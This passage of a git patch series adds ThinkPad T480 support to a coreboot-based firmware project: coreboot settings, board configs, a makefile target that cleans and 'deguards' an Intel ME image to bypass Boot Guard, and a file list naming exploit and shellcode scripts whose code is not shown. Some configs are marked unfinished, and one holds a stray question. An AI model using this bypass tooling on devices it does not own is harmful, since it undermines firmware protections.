is not set +# CONFIG_DISPLAY_HOBS is not set +# CONFIG_DISPLAY_UPD_DATA is not set +# CONFIG_BMP_LOGO is not set +CONFIG_PLATFORM_USES_FSP2_0=y +CONFIG_PLATFORM_USES_FSP2_X86_32=y +CONFIG_HAVE_INTEL_FSP_REPO=y +CONFIG_ADD_FSP_BINARIES=y +CONFIG_FSP_S_CBFS="fsps.bin" +CONFIG_FSP_M_CBFS="fspm.bin" +# CONFIG_FSP_FULL_FD is not set +CONFIG_FSP_T_RESERVED_SIZE=0x0 +CONFIG_FSP_M_XIP=y +CONFIG_HAVE_FSP_LOGO_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_FSP_RESET=y +CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y +CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y +CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y +# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set +# CONFIG_BUILDING_WITH_DEBUG_FSP is not set +CONFIG_INTEL_INT15=y +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Skylake" +CONFIG_GFX_GMA_PCH="Sunrise_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +# CONFIG_DRIVERS_PS2_KEYBOARD is not set +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_USB_ACPI=y +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_TPM1 is not set +CONFIG_TPM2=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM2=y +CONFIG_DEBUG_TPM=y +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM2=y +# CONFIG_TPM_HASH_SHA1 is not set +CONFIG_TPM_HASH_SHA256=y +# CONFIG_TPM_HASH_SHA384 is not set +# CONFIG_TPM_HASH_SHA512 is not set +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_INTEL_CBNT_SUPPORT is not set +CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_CUSTOM_MADT=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_ACPI_LPIT=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y + +# +# I/O mapped, 8250-compatible +# +CONFIG_TTYS0_BASE=0x3f8 + +# +# Serial port base address = 0x3f8 +# +# CONFIG_CONSOLE_SERIAL_921600 is not set +# CONFIG_CONSOLE_SERIAL_460800 is not set +# CONFIG_CONSOLE_SERIAL_230400 is not set +CONFIG_CONSOLE_SERIAL_115200=y +# CONFIG_CONSOLE_SERIAL_57600 is not set +# CONFIG_CONSOLE_SERIAL_38400 is not set +# CONFIG_CONSOLE_SERIAL_19200 is not set +# CONFIG_CONSOLE_SERIAL_9600 is not set +CONFIG_TTYS0_LCS=3 +# CONFIG_SPKMODEM is not set +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +# CONFIG_CMOS_POST is not set +CONFIG_POST_DEVICE_NONE=y +# CONFIG_POST_DEVICE_LPC is not set +# CONFIG_POST_DEVICE_PCI_PCIE is not set +CONFIG_POST_IO_PORT=0x80 +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_ACPI_S1_NOT_SUPPORTED=y +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_IOAPIC=y +CONFIG_ACPI_NHLT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_FLAT_BINARY is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set +CONFIG_PAYLOAD_LINUX=y +CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +# CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# +# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set +# CONFIG_DISPLAY_FSP_HEADER is not set +# CONFIG_VERIFY_HOBS is not set +# CONFIG_DISPLAY_FSP_VERSION_INFO is not set +CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y +# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set + +# +# General Debug Settings +# +# CONFIG_GDB_STUB is not set +CONFIG_HAVE_DEBUG_GPIO=y +# CONFIG_DEBUG_GPIO is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_SPD_READ_BY_WORD=y +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xe0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_GENERIC_GPIO_LIB=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y From effa9f63e36cc2b11f420d758d26066b0e07ced4 Mon Sep 17 00:00:00 2001 From: AK Unterkontrolle Date: Tue, 4 Feb 2025 11:21:53 +0100 Subject: [PATCH 04/50] Add board config for T480 Signed-off-by: Thierry Laurion --- boards/t480-maximized/t480-maximized.config | 65 +++++++++++++++++++ .../t480-hotp-maximized.config | 7 ++ 2 files changed, 72 insertions(+) create mode 100644 boards/t480-maximized/t480-maximized.config create mode 100644 boards/t480p-hotp-maximized/t480-hotp-maximized.config diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480-maximized/t480-maximized.config new file mode 100644 index 000000000..b987ab9f6 --- /dev/null +++ b/boards/t480-maximized/t480-maximized.config @@ -0,0 +1,65 @@ +# Configuration for a ThinkPad T480. +CONFIG_COREBOOT_CONFIG=config/coreboot-t480.config +# TODO: Make a ThinkPad-common Linux config file. +CONFIG_LINUX_CONFIG=config/linux-t480.config + +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=t480 +export CONFIG_LINUX_VERSION=6.1.8 + +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHPROG=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y + +#platform locking finalization (PR0) +# Disable for first try, enable when rest works +#CONFIG_IO386=y +#export CONFIG_FINALIZE_PLATFORM_LOCKING=y + + +# Dependencies for a graphical menu. Enable CONFIG_SLANG and CONFIG_NEWT instead +# for a console-based menu. +CONFIG_CAIRO=y +CONFIG_FBWHIPTAIL=y + +CONFIG_LINUX_USB=y +CONFIG_MOBILE_TETHERING=y + +export CONFIG_TPM=y +#Enable DEBUG output, debug output probably a good idea for first tests +export CONFIG_DEBUG_OUTPUT=y +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log, not quiet for first test +export CONFIG_QUIET_MODE=n +export CONFIG_BOOTSCRIPT=/bin/gui-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOARD_NAME="ThinkPad T480" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" + +# COPIED FROM T440p! NEEDS ADAPTION!!!! +# Make the Coreboot build depend on the following 3rd party blobs: +$(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ + $(pwd)/blobs/haswell/mrc.bin $(pwd)/blobs/t440p/me.bin + +$(pwd)/blobs/haswell/mrc.bin: + COREBOOT_DIR="$(build)/$(coreboot_base_dir)" \ + $(pwd)/blobs/haswell/obtain-mrc $(pwd)/blobs/haswell + +$(pwd)/blobs/t440p/me.bin: + COREBOOT_DIR="$(build)/$(coreboot_base_dir)" \ + $(pwd)/blobs/t440p/download-clean-me $(pwd)/blobs/t440p + +# Generate split 4MB top / 8MB bottom ROMs +#BOARD_TARGETS += split_8mb4mb Is there an other command for not splitting stuff at the end or is this the default option anyways? diff --git a/boards/t480p-hotp-maximized/t480-hotp-maximized.config b/boards/t480p-hotp-maximized/t480-hotp-maximized.config new file mode 100644 index 000000000..e48ee2fee --- /dev/null +++ b/boards/t480p-hotp-maximized/t480-hotp-maximized.config @@ -0,0 +1,7 @@ +# Inherit the rest from the base T440p config. +include $(pwd)/boards/t480-maximized/t480-maximized.config + +CONFIG_HOTPKEY=y +export CONFIG_AUTO_BOOT_TIMEOUT=5 + +export CONFIG_BOARD_NAME="ThinkPad T480-hotp-maximized" From 3a4be9617ef9249736e0a5a20df2650a9b87ad9c Mon Sep 17 00:00:00 2001 From: notgiven by Date: Mon, 10 Feb 2025 23:05:20 +0100 Subject: [PATCH 05/50] add a new t480.mk dealing with blobs Signed-off-by: Thierry Laurion --- targets/t480_me_blobs.mk | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 targets/t480_me_blobs.mk diff --git a/targets/t480_me_blobs.mk b/targets/t480_me_blobs.mk new file mode 100644 index 000000000..5802fa3be --- /dev/null +++ b/targets/t480_me_blobs.mk @@ -0,0 +1,15 @@ +# TODO describe the process for t480 +#Targets for downloading t480 ME blob, cleaning and deguarding. + +# t480-*-maximized boards require you to initially call +# - blobs/t480/download-clean-deguard-me.sh +# To download donor's Dells-Inspiron.exe, extract ME binary with biosutilities from libreboot, clean ME, +# and deguard it using Mate Kukri deguard tool. + +# Make the Coreboot build depend on the following 3rd party blobs: +$(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ + $(pwd)/blobs/t480/me.bin + +$(pwd)/blobs/t480/me.bin: + COREBOOT_DIR="$(build)/$(coreboot_base_dir)" \ + $(pwd)/blobs/t480/download-clean-deguard-me.sh $(pwd)/blobs/t480 From 0be89cb3a02fa30ad5e57f71edb9070f2a09755e Mon Sep 17 00:00:00 2001 From: notgiven by Date: Mon, 10 Feb 2025 23:18:52 +0100 Subject: [PATCH 06/50] add dependencies and a script to download and modify essential blobs for t480 Signed-off-by: Thierry Laurion --- blobs/t480/.gitignore | 2 + blobs/t480/README.md | 13 + blobs/t480/biosutilities/.gitignore | 5 + blobs/t480/biosutilities/AMI_PFAT_Extract.py | 319 +++++ blobs/t480/biosutilities/AMI_UCP_Extract.py | 515 ++++++++ blobs/t480/biosutilities/Apple_EFI_ID.py | 167 +++ blobs/t480/biosutilities/Apple_EFI_IM4P.py | 145 +++ blobs/t480/biosutilities/Apple_EFI_PBZX.py | 118 ++ blobs/t480/biosutilities/Apple_EFI_PKG.py | 148 +++ .../t480/biosutilities/Award_BIOS_Extract.py | 74 ++ blobs/t480/biosutilities/Dell_PFS_Extract.py | 1067 +++++++++++++++++ .../t480/biosutilities/Fujitsu_SFX_Extract.py | 89 ++ .../t480/biosutilities/Fujitsu_UPC_Extract.py | 44 + .../t480/biosutilities/Insyde_IFD_Extract.py | 217 ++++ blobs/t480/biosutilities/LICENSE | 19 + .../biosutilities/Panasonic_BIOS_Extract.py | 209 ++++ .../t480/biosutilities/Phoenix_TDK_Extract.py | 243 ++++ .../biosutilities/Portwell_EFI_Extract.py | 136 +++ blobs/t480/biosutilities/README.md | 552 +++++++++ .../t480/biosutilities/Toshiba_COM_Extract.py | 63 + .../biosutilities/VAIO_Package_Extract.py | 147 +++ blobs/t480/biosutilities/common/checksums.py | 25 + blobs/t480/biosutilities/common/comp_efi.py | 57 + blobs/t480/biosutilities/common/comp_szip.py | 72 ++ blobs/t480/biosutilities/common/externals.py | 38 + blobs/t480/biosutilities/common/num_ops.py | 14 + blobs/t480/biosutilities/common/path_ops.py | 154 +++ blobs/t480/biosutilities/common/patterns.py | 34 + blobs/t480/biosutilities/common/pe_ops.py | 49 + blobs/t480/biosutilities/common/struct_ops.py | 28 + blobs/t480/biosutilities/common/system.py | 68 ++ blobs/t480/biosutilities/common/templates.py | 162 +++ blobs/t480/biosutilities/common/text_ops.py | 33 + .../biosutilities/external/requirements.txt | 2 + blobs/t480/deguard/.gitignore | 2 + blobs/t480/deguard/README.md | 81 ++ .../home/bup/bup_sku/emu_fuse_map | Bin 0 -> 7 bytes .../home/bup/bup_sku/fuse_ip_base | Bin 0 -> 18 bytes .../optiplex_3050/home/bup/bup_sku/plat_n_sku | 1 + .../data/delta/optiplex_3050/home/bup/mbp | Bin 0 -> 44 bytes .../delta/optiplex_3050/home/gpio/csme_pins | 0 .../data/delta/optiplex_3050/home/icc/dynregs | Bin 0 -> 36 bytes .../data/delta/optiplex_3050/home/icc/header | Bin 0 -> 4 bytes .../data/delta/optiplex_3050/home/icc/namestr | Bin 0 -> 48 bytes .../data/delta/optiplex_3050/home/icc/prof0 | Bin 0 -> 120 bytes .../data/delta/optiplex_3050/home/icc/prof1 | 0 .../data/delta/optiplex_3050/home/icc/prof10 | 0 .../data/delta/optiplex_3050/home/icc/prof2 | 0 .../data/delta/optiplex_3050/home/icc/prof3 | 0 .../data/delta/optiplex_3050/home/icc/prof4 | 0 .../data/delta/optiplex_3050/home/icc/prof5 | 0 .../data/delta/optiplex_3050/home/icc/prof6 | 0 .../data/delta/optiplex_3050/home/icc/prof7 | 0 .../data/delta/optiplex_3050/home/icc/prof8 | 0 .../data/delta/optiplex_3050/home/icc/prof9 | 0 .../data/delta/optiplex_3050/home/mca/eom | 1 + .../delta/optiplex_3050/home/mca/ish_policy | Bin 0 -> 1 bytes .../optiplex_3050/home/mctp/device_ports | Bin 0 -> 4 bytes .../home/policy/cfgmgr/cfg_rules | Bin 0 -> 660 bytes .../optiplex_3050/home/policy/hci/sysintid1 | 1 + .../optiplex_3050/home/policy/hci/sysintid2 | 1 + .../optiplex_3050/home/policy/hci/sysintid3 | 1 + .../optiplex_3050/home/policy/pwdmgr/segreto | 1 + .../home/bup/bup_sku/emu_fuse_map | Bin 0 -> 7 bytes .../home/bup/bup_sku/fuse_ip_base | Bin 0 -> 18 bytes .../thinkpad_t480/home/bup/bup_sku/plat_n_sku | Bin 0 -> 4 bytes .../delta/thinkpad_t480/home/bup/invokemebx | Bin 0 -> 4 bytes .../data/delta/thinkpad_t480/home/bup/mbp | Bin 0 -> 52 bytes .../delta/thinkpad_t480/home/gpio/csme_pins | 0 .../data/delta/thinkpad_t480/home/icc/dynregs | Bin 0 -> 28 bytes .../data/delta/thinkpad_t480/home/icc/header | Bin 0 -> 4 bytes .../data/delta/thinkpad_t480/home/icc/namestr | Bin 0 -> 48 bytes .../data/delta/thinkpad_t480/home/icc/prof1 | 0 .../data/delta/thinkpad_t480/home/icc/prof10 | 0 .../data/delta/thinkpad_t480/home/icc/prof2 | 0 .../data/delta/thinkpad_t480/home/icc/prof3 | 0 .../data/delta/thinkpad_t480/home/icc/prof4 | 0 .../data/delta/thinkpad_t480/home/icc/prof5 | 0 .../data/delta/thinkpad_t480/home/icc/prof6 | 0 .../data/delta/thinkpad_t480/home/icc/prof7 | 0 .../data/delta/thinkpad_t480/home/icc/prof8 | 0 .../data/delta/thinkpad_t480/home/icc/prof9 | 0 .../data/delta/thinkpad_t480/home/mca/eom | 1 + .../delta/thinkpad_t480/home/mca/ish_policy | Bin 0 -> 1 bytes .../thinkpad_t480/home/mctp/device_ports | Bin 0 -> 4 bytes .../home/policy/Bist/auto_config | Bin 0 -> 4 bytes .../home/policy/cfgmgr/cfg_rules | Bin 0 -> 660 bytes .../thinkpad_t480/home/policy/hci/sysintid1 | 2 + .../thinkpad_t480/home/policy/hci/sysintid2 | 1 + .../thinkpad_t480/home/policy/hci/sysintid3 | 1 + .../thinkpad_t480/home/policy/pwdmgr/segreto | 1 + .../home/bup/bup_sku/plat_n_sku | Bin 0 -> 4 bytes .../data/delta/thinkpad_t480s/home/bup/mbp | Bin 0 -> 44 bytes .../delta/thinkpad_t480s/home/gpio/csme_pins | 0 .../delta/thinkpad_t480s/home/icc/dynregs | Bin 0 -> 28 bytes .../data/delta/thinkpad_t480s/home/icc/header | Bin 0 -> 4 bytes .../delta/thinkpad_t480s/home/icc/namestr | Bin 0 -> 48 bytes .../data/delta/thinkpad_t480s/home/icc/prof1 | 0 .../data/delta/thinkpad_t480s/home/icc/prof10 | 0 .../data/delta/thinkpad_t480s/home/icc/prof2 | 0 .../data/delta/thinkpad_t480s/home/icc/prof3 | 0 .../data/delta/thinkpad_t480s/home/icc/prof4 | 0 .../data/delta/thinkpad_t480s/home/icc/prof5 | 0 .../data/delta/thinkpad_t480s/home/icc/prof6 | 0 .../data/delta/thinkpad_t480s/home/icc/prof7 | 0 .../data/delta/thinkpad_t480s/home/icc/prof8 | 0 .../data/delta/thinkpad_t480s/home/icc/prof9 | 0 .../data/delta/thinkpad_t480s/home/mca/eom | 1 + .../delta/thinkpad_t480s/home/mca/ish_policy | Bin 0 -> 1 bytes .../thinkpad_t480s/home/mctp/device_ports | Bin 0 -> 4 bytes .../home/policy/Bist/auto_config | Bin 0 -> 4 bytes .../home/policy/cfgmgr/cfg_rules | Bin 0 -> 660 bytes .../thinkpad_t480s/home/policy/hci/sysintid1 | 1 + .../thinkpad_t480s/home/policy/hci/sysintid2 | 1 + .../thinkpad_t480s/home/policy/hci/sysintid3 | 1 + blobs/t480/deguard/data/fpfs/optiplex_3050 | Bin 0 -> 256 bytes blobs/t480/deguard/data/fpfs/thinkpad_t480 | Bin 0 -> 256 bytes blobs/t480/deguard/data/fpfs/zero | Bin 0 -> 256 bytes blobs/t480/deguard/doc/COPYING.txt | 339 ++++++ blobs/t480/deguard/doc/LICENSE.orig | 17 + blobs/t480/deguard/finalimage.py | 111 ++ blobs/t480/deguard/gen_shellcode.py | 24 + blobs/t480/deguard/generatedelta.py | 76 ++ blobs/t480/deguard/lib/cfg.py | 272 +++++ blobs/t480/deguard/lib/exploit.py | 265 ++++ blobs/t480/deguard/lib/image.py | 127 ++ blobs/t480/deguard/lib/mfs.py | 508 ++++++++ blobs/t480/deguard/mfsutil.py | 173 +++ blobs/t480/download-clean-deguard-me.sh | 97 ++ blobs/t480/gbe.bin | Bin 0 -> 8192 bytes blobs/t480/ifd_16.bin | Bin 0 -> 4096 bytes blobs/t480/me_cleaner/README.md | 85 ++ blobs/t480/me_cleaner/description.md | 2 + blobs/t480/me_cleaner/man/me_cleaner.1 | 157 +++ blobs/t480/me_cleaner/me_cleaner.py | 884 ++++++++++++++ blobs/t480/me_cleaner/setup.py | 22 + 136 files changed, 8286 insertions(+) create mode 100644 blobs/t480/.gitignore create mode 100644 blobs/t480/README.md create mode 100644 blobs/t480/biosutilities/.gitignore create mode 100644 blobs/t480/biosutilities/AMI_PFAT_Extract.py create mode 100644 blobs/t480/biosutilities/AMI_UCP_Extract.py create mode 100644 blobs/t480/biosutilities/Apple_EFI_ID.py create mode 100644 blobs/t480/biosutilities/Apple_EFI_IM4P.py create mode 100644 blobs/t480/biosutilities/Apple_EFI_PBZX.py create mode 100644 blobs/t480/biosutilities/Apple_EFI_PKG.py create mode 100644 blobs/t480/biosutilities/Award_BIOS_Extract.py create mode 100644 blobs/t480/biosutilities/Dell_PFS_Extract.py create mode 100644 blobs/t480/biosutilities/Fujitsu_SFX_Extract.py create mode 100644 blobs/t480/biosutilities/Fujitsu_UPC_Extract.py create mode 100644 blobs/t480/biosutilities/Insyde_IFD_Extract.py create mode 100644 blobs/t480/biosutilities/LICENSE create mode 100644 blobs/t480/biosutilities/Panasonic_BIOS_Extract.py create mode 100644 blobs/t480/biosutilities/Phoenix_TDK_Extract.py create mode 100644 blobs/t480/biosutilities/Portwell_EFI_Extract.py create mode 100644 blobs/t480/biosutilities/README.md create mode 100644 blobs/t480/biosutilities/Toshiba_COM_Extract.py create mode 100644 blobs/t480/biosutilities/VAIO_Package_Extract.py create mode 100644 blobs/t480/biosutilities/common/checksums.py create mode 100644 blobs/t480/biosutilities/common/comp_efi.py create mode 100644 blobs/t480/biosutilities/common/comp_szip.py create mode 100644 blobs/t480/biosutilities/common/externals.py create mode 100644 blobs/t480/biosutilities/common/num_ops.py create mode 100644 blobs/t480/biosutilities/common/path_ops.py create mode 100644 blobs/t480/biosutilities/common/patterns.py create mode 100644 blobs/t480/biosutilities/common/pe_ops.py create mode 100644 blobs/t480/biosutilities/common/struct_ops.py create mode 100644 blobs/t480/biosutilities/common/system.py create mode 100644 blobs/t480/biosutilities/common/templates.py create mode 100644 blobs/t480/biosutilities/common/text_ops.py create mode 100644 blobs/t480/biosutilities/external/requirements.txt create mode 100644 blobs/t480/deguard/.gitignore create mode 100644 blobs/t480/deguard/README.md create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/emu_fuse_map create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/fuse_ip_base create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/plat_n_sku create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/bup/mbp create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/gpio/csme_pins create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/dynregs create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/header create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/namestr create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof0 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof1 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof10 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof2 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof3 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof4 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof5 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof6 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof7 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof8 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof9 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/mca/eom create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/mca/ish_policy create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/mctp/device_ports create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/policy/cfgmgr/cfg_rules create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid1 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid2 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid3 create mode 100644 blobs/t480/deguard/data/delta/optiplex_3050/home/policy/pwdmgr/segreto create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/emu_fuse_map create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/fuse_ip_base create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/plat_n_sku create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/invokemebx create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/mbp create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/gpio/csme_pins create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/dynregs create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/header create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/namestr create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof1 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof10 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof2 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof3 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof4 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof5 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof6 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof7 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof8 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof9 create mode 100644 